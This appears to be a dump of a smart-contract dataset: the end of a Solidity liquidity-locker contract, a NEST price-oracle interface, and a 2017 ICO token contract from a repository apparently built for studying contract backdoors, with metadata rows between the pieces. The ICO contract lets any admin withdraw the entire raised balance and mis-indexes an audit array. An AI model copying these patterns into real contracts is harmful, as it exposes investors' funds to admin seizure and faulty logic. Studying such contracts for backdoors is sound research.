function lock(address pair, address getter, uint256 liquidity, uint256 lockPeriod) external payable {
address locker = msg.sender;
require(tokenEnabled || isKissTokenPair(pair) != 2, "Not LP Token");
uint256 feeAmount = _disposeFee(locker, pair, false);
if (msg.value > feeAmount) {
(bool success,) = payable(locker).call{value: msg.value - feeAmount}("");
require(success, "Failed to refund");
}
IERC20(pair).transferFrom(locker, address(this), liquidity);
_newLock(locker, pair, getter, liquidity, lockPeriod, true);
}
function appendLock(address pair, uint256 lockedIndex, uint256 amount) external {
address locker = msg.sender;
IERC20(pair).transferFrom(locker, address(this), amount);
_appendLock(locker, pair, lockedIndex, amount);
}
function splitLock(address pair, uint256 lockedIndex, uint256 amount) external {
address locker = msg.sender;
_splitLock(locker, pair, lockedIndex, amount);
}
function unlock(address pair, uint256 lockedIndex, uint256 amount) external {
address locker = msg.sender;
LockInfo storage li = context[locker][pair][lockedIndex];
require(li.amount > 0, "Not Locked");
require(li.lockTime > 0 && li.expireTime > 0 && li.expireTime < block.timestamp, "Not Expired");
require(li.amount >= amount, "Asked Too Much");
IERC20(pair).transfer(li.getter, amount);
li.amount -= amount;
if (li.amount == 0) {
delete context[locker][pair][lockedIndex];
}
emit UnlockContext(locker, pair, lockedIndex, li.getter, amount, block.timestamp);
}
function isKissDeployerToken(address token) public view returns (bool) {
try IKissDeployer(kissDeployer).isKissToken(token) returns (bool ret) {
return ret;
} catch {
return false;
}
}
function isKissTokenPair(address pair) public view returns(uint256) {
try IKissDeployer(kissDeployer).isKissTokenPair(pair) returns (bool ret) {
if (ret) return 0;
else return 1;
} catch {
IUniswapFactoryV2 factory = IUniswapFactoryV2(IUniswapRouterV2(uniswapV2Router).factory());
address token0;
address token1;
try IUniswapPairV2(pair).token0() returns (address ret) {
token0 = ret;
} catch {
token0 = address(0);
}
try IUniswapPairV2(pair).token1() returns (address ret) {
token1 = ret;
} catch {
token1 = address(0);
}
if (factory.getPair(token0, token1) == pair) return 1;
else return 2;
}
}
receive() external payable {
}
}
| 27,674 | 10,897 |
91efc721f5afe4b6ddf023ae58b485e39040282150ee0db07e16aed82deb66ef
| 13,130 |
.sol
|
Solidity
| false |
375336876
|
Computable-Finance/CoFiX-V2.1
|
325165b8a4502b12f74baa3b52ecd61ddda5a27f
|
contracts/test/fort1.1/INestPriceFacade.sol
| 2,328 | 10,476 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.6;
/// @dev This interface defines the methods for price call entry
interface INestPriceFacade {
/// @dev Find the price at block number
/// @param tokenAddress Destination token address
/// @param height Destination block number
/// and the excess fees will be returned through this address
/// @return blockNumber The block number of price
/// @return price The token price. (1eth equivalent to (price) token)
function findPrice(address tokenAddress,
uint height,
address paybackAddress) external payable returns (uint blockNumber, uint price);
/// @dev Get the latest trigger price
/// @param tokenAddress Destination token address
/// and the excess fees will be returned through this address
/// @return blockNumber The block number of price
/// @return price The token price. (1eth equivalent to (price) token)
function triggeredPrice(address tokenAddress,
address paybackAddress) external payable returns (uint blockNumber, uint price);
// /// @dev Price call entry configuration structure
// struct Config {
// // Single query fee0.0001 ether, DIMI_ETHER). 100
// uint16 singleFee;
// // Double query fee0.0001 ether, DIMI_ETHER). 100
// uint16 doubleFee;
// // The normal state flag of the call address. 0
// uint8 normalFlag;
// }
// /// @dev Modify configuration
// /// @param config Configuration object
// function setConfig(Config calldata config) external;
// /// @dev Get configuration
// /// @return Configuration object
// function getConfig() external view returns (Config memory);
// /// @param addr Destination address
// /// @param flag Address flag
// function setAddressFlag(address addr, uint flag) external;
// /// @dev Get the flag. Only the address flag equals to config.normalFlag can the price be called
// /// @param addr Destination address
// /// @return Address flag
// function getAddressFlag(address addr) external view returns(uint);
// /// @dev Set INestQuery implementation contract address for token
// /// @param tokenAddress Destination token address
// /// @param nestQueryAddress INestQuery implementation contract address, 0 means delete
// function setNestQuery(address tokenAddress, address nestQueryAddress) external;
// /// @dev Get INestQuery implementation contract address for token
// /// @param tokenAddress Destination token address
// /// @return INestQuery implementation contract address, 0 means use default
// function getNestQuery(address tokenAddress) external view returns (address);
// /// @dev Get cached fee in fee channel
// /// @param tokenAddress Destination token address
// /// @return Cached fee in fee channel
// function getTokenFee(address tokenAddress) external view returns (uint);
// /// @dev Settle fee for charge fee channel
// /// @param tokenAddress tokenAddress of charge fee channel
// function settle(address tokenAddress) external;
// /// @dev Get the latest trigger price
// /// @param tokenAddress Destination token address
// /// and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// function triggeredPrice(// address tokenAddress,
// address paybackAddress
//) external payable returns (uint blockNumber, uint price);
/// @dev Get the full information of latest trigger price
/// @param tokenAddress Destination token address
/// and the excess fees will be returned through this address
/// @return blockNumber The block number of price
/// @return price The token price. (1eth equivalent to (price) token)
/// @return avgPrice Average price
/// @return sigmaSQ The square of the volatility (18 decimal places). The current implementation
/// assumes that the volatility cannot exceed 1. Correspondingly, when the return value is equal to
/// 999999999999996447, it means that the volatility has exceeded the range that can be expressed
function triggeredPriceInfo(address tokenAddress,
address paybackAddress) external payable returns (uint blockNumber, uint price, uint avgPrice, uint sigmaSQ);
// /// @dev Find the price at block number
// /// @param tokenAddress Destination token address
// /// @param height Destination block number
// /// and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// function findPrice(// address tokenAddress,
// uint height,
// address paybackAddress
//) external payable returns (uint blockNumber, uint price);
/// @dev Get the latest effective price
/// @param tokenAddress Destination token address
/// and the excess fees will be returned through this address
/// @return blockNumber The block number of price
/// @return price The token price. (1eth equivalent to (price) token)
function latestPrice(address tokenAddress,
address paybackAddress) external payable returns (uint blockNumber, uint price);
/// @dev Get the last (num) effective price
/// @param tokenAddress Destination token address
/// @param count The number of prices that want to return
/// and the excess fees will be returned through this address
function lastPriceList(address tokenAddress,
uint count,
address paybackAddress) external payable returns (uint[] memory);
// /// @dev Returns the results of latestPrice() and triggeredPriceInfo()
// /// @param tokenAddress Destination token address
// /// and the excess fees will be returned through this address
// /// @return latestPriceBlockNumber The block number of latest price
// /// @return latestPriceValue The token latest price. (1eth equivalent to (price) token)
// /// @return triggeredPriceBlockNumber The block number of triggered price
// /// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token)
// /// @return triggeredAvgPrice Average price
// /// 999999999999996447, it means that the volatility has exceeded the range that can be expressed
// function latestPriceAndTriggeredPriceInfo(address tokenAddress, address paybackAddress)
// external
// payable
// returns (// uint latestPriceBlockNumber,
// uint latestPriceValue,
// uint triggeredPriceBlockNumber,
// uint triggeredPriceValue,
// uint triggeredAvgPrice,
// uint triggeredSigmaSQ
//);
/// @dev Returns lastPriceList and triggered price info
/// @param tokenAddress Destination token address
/// @param count The number of prices that want to return
/// and the excess fees will be returned through this address
/// @return triggeredPriceBlockNumber The block number of triggered price
/// @return triggeredPriceValue The token triggered price. (1eth equivalent to (price) token)
/// @return triggeredAvgPrice Average price
/// assumes that the volatility cannot exceed 1. Correspondingly, when the return value is equal to
/// 999999999999996447, it means that the volatility has exceeded the range that can be expressed
function lastPriceListAndTriggeredPriceInfo(address tokenAddress,
uint count,
address paybackAddress) external payable
returns (uint[] memory prices,
uint triggeredPriceBlockNumber,
uint triggeredPriceValue,
uint triggeredAvgPrice,
uint triggeredSigmaSQ);
// /// @dev Get the latest trigger price. (token and ntoken)
// /// @param tokenAddress Destination token address
// /// and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// /// @return ntokenBlockNumber The block number of ntoken price
// /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken)
// function triggeredPrice2(// address tokenAddress,
// address paybackAddress
//) external payable returns (// uint blockNumber,
// uint price,
// uint ntokenBlockNumber,
// uint ntokenPrice
//);
// /// @dev Get the full information of latest trigger price. (token and ntoken)
// /// @param tokenAddress Destination token address
// /// and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// /// @return avgPrice Average price
// /// it means that the volatility has exceeded the range that can be expressed
// /// @return ntokenBlockNumber The block number of ntoken price
// /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken)
// /// @return ntokenAvgPrice Average price of ntoken
// /// 999999999999996447, it means that the volatility has exceeded the range that can be expressed
// function triggeredPriceInfo2(// address tokenAddress,
// address paybackAddress
//) external payable returns (// uint blockNumber,
// uint price,
// uint avgPrice,
// uint sigmaSQ,
// uint ntokenBlockNumber,
// uint ntokenPrice,
// uint ntokenAvgPrice,
// uint ntokenSigmaSQ
//);
// /// @dev Get the latest effective price. (token and ntoken)
// /// @param tokenAddress Destination token address
// /// and the excess fees will be returned through this address
// /// @return blockNumber The block number of price
// /// @return price The token price. (1eth equivalent to (price) token)
// /// @return ntokenBlockNumber The block number of ntoken price
// /// @return ntokenPrice The ntoken price. (1eth equivalent to (price) ntoken)
// function latestPrice2(// address tokenAddress,
// address paybackAddress
//) external payable returns (// uint blockNumber,
// uint price,
// uint ntokenBlockNumber,
// uint ntokenPrice
//);
}
| 176,007 | 10,898 |
4ca25d6054e71af06c6e5942a514e7e43e311534acb9ee1b2e0018a5bcac1160
| 22,030 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xf8fc0cc97d01a47e0ba66b167b120a8a0deab949.sol
| 3,509 | 13,645 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract AuthenticationManager {
mapping (address => bool) adminAddresses;
mapping (address => bool) accountReaderAddresses;
address[] adminAudit;
address[] accountReaderAudit;
event AdminAdded(address addedBy, address admin);
event AdminRemoved(address removedBy, address admin);
event AccountReaderAdded(address addedBy, address account);
event AccountReaderRemoved(address removedBy, address account);
function AuthenticationManager() {
adminAddresses[msg.sender] = true;
AdminAdded(0, msg.sender);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = msg.sender;
}
function contractVersion() constant returns(uint256) {
// Admin contract identifies as 100YYYYMMDDHHMM
return 100201707171503;
}
function isCurrentAdmin(address _address) constant returns (bool) {
return adminAddresses[_address];
}
function isCurrentOrPastAdmin(address _address) constant returns (bool) {
for (uint256 i = 0; i < adminAudit.length; i++)
if (adminAudit[i] == _address)
return true;
return false;
}
function isCurrentAccountReader(address _address) constant returns (bool) {
return accountReaderAddresses[_address];
}
function isCurrentOrPastAccountReader(address _address) constant returns (bool) {
for (uint256 i = 0; i < accountReaderAudit.length; i++)
if (accountReaderAudit[i] == _address)
return true;
return false;
}
function addAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already admin
if (adminAddresses[_address])
throw;
// Add the user
adminAddresses[_address] = true;
AdminAdded(msg.sender, _address);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = _address;
}
function removeAdmin(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
if (_address == msg.sender)
throw;
// Fail if this account is already non-admin
if (!adminAddresses[_address])
throw;
adminAddresses[_address] = false;
AdminRemoved(msg.sender, _address);
}
function addAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already in the list
if (accountReaderAddresses[_address])
throw;
// Add the user
accountReaderAddresses[_address] = true;
AccountReaderAdded(msg.sender, _address);
accountReaderAudit.length++;
accountReaderAudit[adminAudit.length - 1] = _address;
}
function removeAccountReader(address _address) {
if (!isCurrentAdmin(msg.sender))
throw;
// Fail if this account is already not in the list
if (!accountReaderAddresses[_address])
throw;
accountReaderAddresses[_address] = false;
AccountReaderRemoved(msg.sender, _address);
}
}
contract SmartInvestmentFundToken {
using SafeMath for uint256;
mapping (address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
address[] allTokenHolders;
string public name;
string public symbol;
uint8 public decimals;
uint256 totalSupplyAmount = 0;
address public icoContractAddress;
bool public isClosed;
IcoPhaseManagement icoPhaseManagement;
AuthenticationManager authenticationManager;
event FundClosed();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function SmartInvestmentFundToken(address _icoContractAddress, address _authenticationManagerAddress) {
// Setup defaults
name = "Smart Investment Fund Token";
symbol = "SIFT";
decimals = 0;
icoPhaseManagement = IcoPhaseManagement(_icoContractAddress);
if (icoPhaseManagement.contractVersion() != 300201707171440)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
icoContractAddress = _icoContractAddress;
}
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
modifier accountReaderOnly {
if (!authenticationManager.isCurrentAccountReader(msg.sender)) throw;
_;
}
modifier fundSendablePhase {
// If it's in ICO phase, forbid it
if (icoPhaseManagement.icoPhase())
throw;
// If it's abandoned, forbid it
if (icoPhaseManagement.icoAbandoned())
throw;
// We're good, funds can now be transferred
_;
}
function contractVersion() constant returns(uint256) {
return 500201707171440;
}
function transferFrom(address _from, address _to, uint256 _amount) fundSendablePhase onlyPayloadSize(3) returns (bool) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to]) {
bool isNew = balances[_to] == 0;
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isNew)
tokenOwnerAdd(_to);
if (balances[_from] == 0)
tokenOwnerRemove(_from);
Transfer(_from, _to, _amount);
return true;
}
return false;
}
function tokenHolderCount() accountReaderOnly constant returns (uint256) {
return allTokenHolders.length;
}
function tokenHolder(uint256 _index) accountReaderOnly constant returns (address) {
return allTokenHolders[_index];
}
function approve(address _spender, uint256 _amount) fundSendablePhase onlyPayloadSize(2) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() constant returns (uint256) {
return totalSupplyAmount;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) fundSendablePhase onlyPayloadSize(2) returns (bool) {
if (balances[msg.sender] < _amount || balances[_to].add(_amount) < balances[_to])
return false;
bool isRecipientNew = balances[_to] < 1;
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
if (isRecipientNew)
tokenOwnerAdd(_to);
if (balances[msg.sender] < 1)
tokenOwnerRemove(msg.sender);
Transfer(msg.sender, _to, _amount);
return true;
}
function tokenOwnerAdd(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
for (uint256 i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr)
return;
allTokenHolders.length++;
allTokenHolders[allTokenHolders.length - 1] = _addr;
}
function tokenOwnerRemove(address _addr) internal {
uint256 tokenHolderCount = allTokenHolders.length;
uint256 foundIndex = 0;
bool found = false;
uint256 i;
for (i = 0; i < tokenHolderCount; i++)
if (allTokenHolders[i] == _addr) {
foundIndex = i;
found = true;
break;
}
if (!found)
return;
for (i = foundIndex; i < tokenHolderCount - 1; i++)
allTokenHolders[i] = allTokenHolders[i + 1];
allTokenHolders.length--;
}
function mintTokens(address _address, uint256 _amount) onlyPayloadSize(2) {
if (msg.sender != icoContractAddress || !icoPhaseManagement.icoPhase())
throw;
bool isNew = balances[_address] == 0;
totalSupplyAmount = totalSupplyAmount.add(_amount);
balances[_address] = balances[_address].add(_amount);
if (isNew)
tokenOwnerAdd(_address);
Transfer(0, _address, _amount);
}
}
contract IcoPhaseManagement {
using SafeMath for uint256;
bool public icoPhase = true;
bool public icoAbandoned = false;
bool siftContractDefined = false;
uint256 constant icoUnitPrice = 10 finney;
mapping(address => uint256) public abandonedIcoBalances;
SmartInvestmentFundToken smartInvestmentFundToken;
AuthenticationManager authenticationManager;
uint256 constant public icoStartTime = 1501545600; // August 1st 2017 at 00:00:00 UTC
uint256 constant public icoEndTime = 1505433600; // September 15th 2017 at 00:00:00 UTC
event IcoClosed();
event IcoAbandoned(string details);
modifier onlyDuringIco {
bool contractValid = siftContractDefined && !smartInvestmentFundToken.isClosed();
if (!contractValid || (!icoPhase && !icoAbandoned)) throw;
_;
}
modifier adminOnly {
if (!authenticationManager.isCurrentAdmin(msg.sender)) throw;
_;
}
function IcoPhaseManagement(address _authenticationManagerAddress) {
if (icoStartTime >= icoEndTime)
throw;
authenticationManager = AuthenticationManager(_authenticationManagerAddress);
if (authenticationManager.contractVersion() != 100201707171503)
throw;
}
function setSiftContractAddress(address _siftContractAddress) adminOnly {
if (siftContractDefined)
throw;
smartInvestmentFundToken = SmartInvestmentFundToken(_siftContractAddress);
if (smartInvestmentFundToken.contractVersion() != 500201707171440)
throw;
siftContractDefined = true;
}
function contractVersion() constant returns(uint256) {
return 300201707171440;
}
function close() adminOnly onlyDuringIco {
// Forbid closing contract before the end of ICO
if (now <= icoEndTime)
throw;
// Close the ICO
icoPhase = false;
IcoClosed();
// Withdraw funds to the caller
if (!msg.sender.send(this.balance))
throw;
}
function () onlyDuringIco payable {
// Forbid funding outside of ICO
if (now < icoStartTime || now > icoEndTime)
throw;
uint256 tokensPurchased = msg.value / icoUnitPrice;
uint256 purchaseTotalPrice = tokensPurchased * icoUnitPrice;
uint256 change = msg.value.sub(purchaseTotalPrice);
if (tokensPurchased > 0)
smartInvestmentFundToken.mintTokens(msg.sender, tokensPurchased);
if (change > 0 && !msg.sender.send(change))
throw;
}
function abandon(string details) adminOnly onlyDuringIco {
// Forbid closing contract before the end of ICO
if (now <= icoEndTime)
throw;
if (icoAbandoned)
throw;
uint256 paymentPerShare = this.balance / smartInvestmentFundToken.totalSupply();
uint numberTokenHolders = smartInvestmentFundToken.tokenHolderCount();
uint256 totalAbandoned = 0;
for (uint256 i = 0; i < numberTokenHolders; i++) {
address addr = smartInvestmentFundToken.tokenHolder(i);
uint256 etherToSend = paymentPerShare * smartInvestmentFundToken.balanceOf(addr);
if (etherToSend < 1)
continue;
abandonedIcoBalances[addr] = abandonedIcoBalances[addr].add(etherToSend);
totalAbandoned = totalAbandoned.add(etherToSend);
}
icoAbandoned = true;
IcoAbandoned(details);
// There should be no money left, but withdraw just incase for manual resolution
uint256 remainder = this.balance.sub(totalAbandoned);
if (remainder > 0)
if (!msg.sender.send(remainder))
// Add this to the callers balance for emergency refunds
abandonedIcoBalances[msg.sender] = abandonedIcoBalances[msg.sender].add(remainder);
}
function abandonedFundWithdrawal() {
// This functionality only exists if an ICO was abandoned
if (!icoAbandoned || abandonedIcoBalances[msg.sender] == 0)
throw;
// Attempt to send them to funds
uint256 funds = abandonedIcoBalances[msg.sender];
abandonedIcoBalances[msg.sender] = 0;
if (!msg.sender.send(funds))
throw;
}
}
| 145,435 | 10,899 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.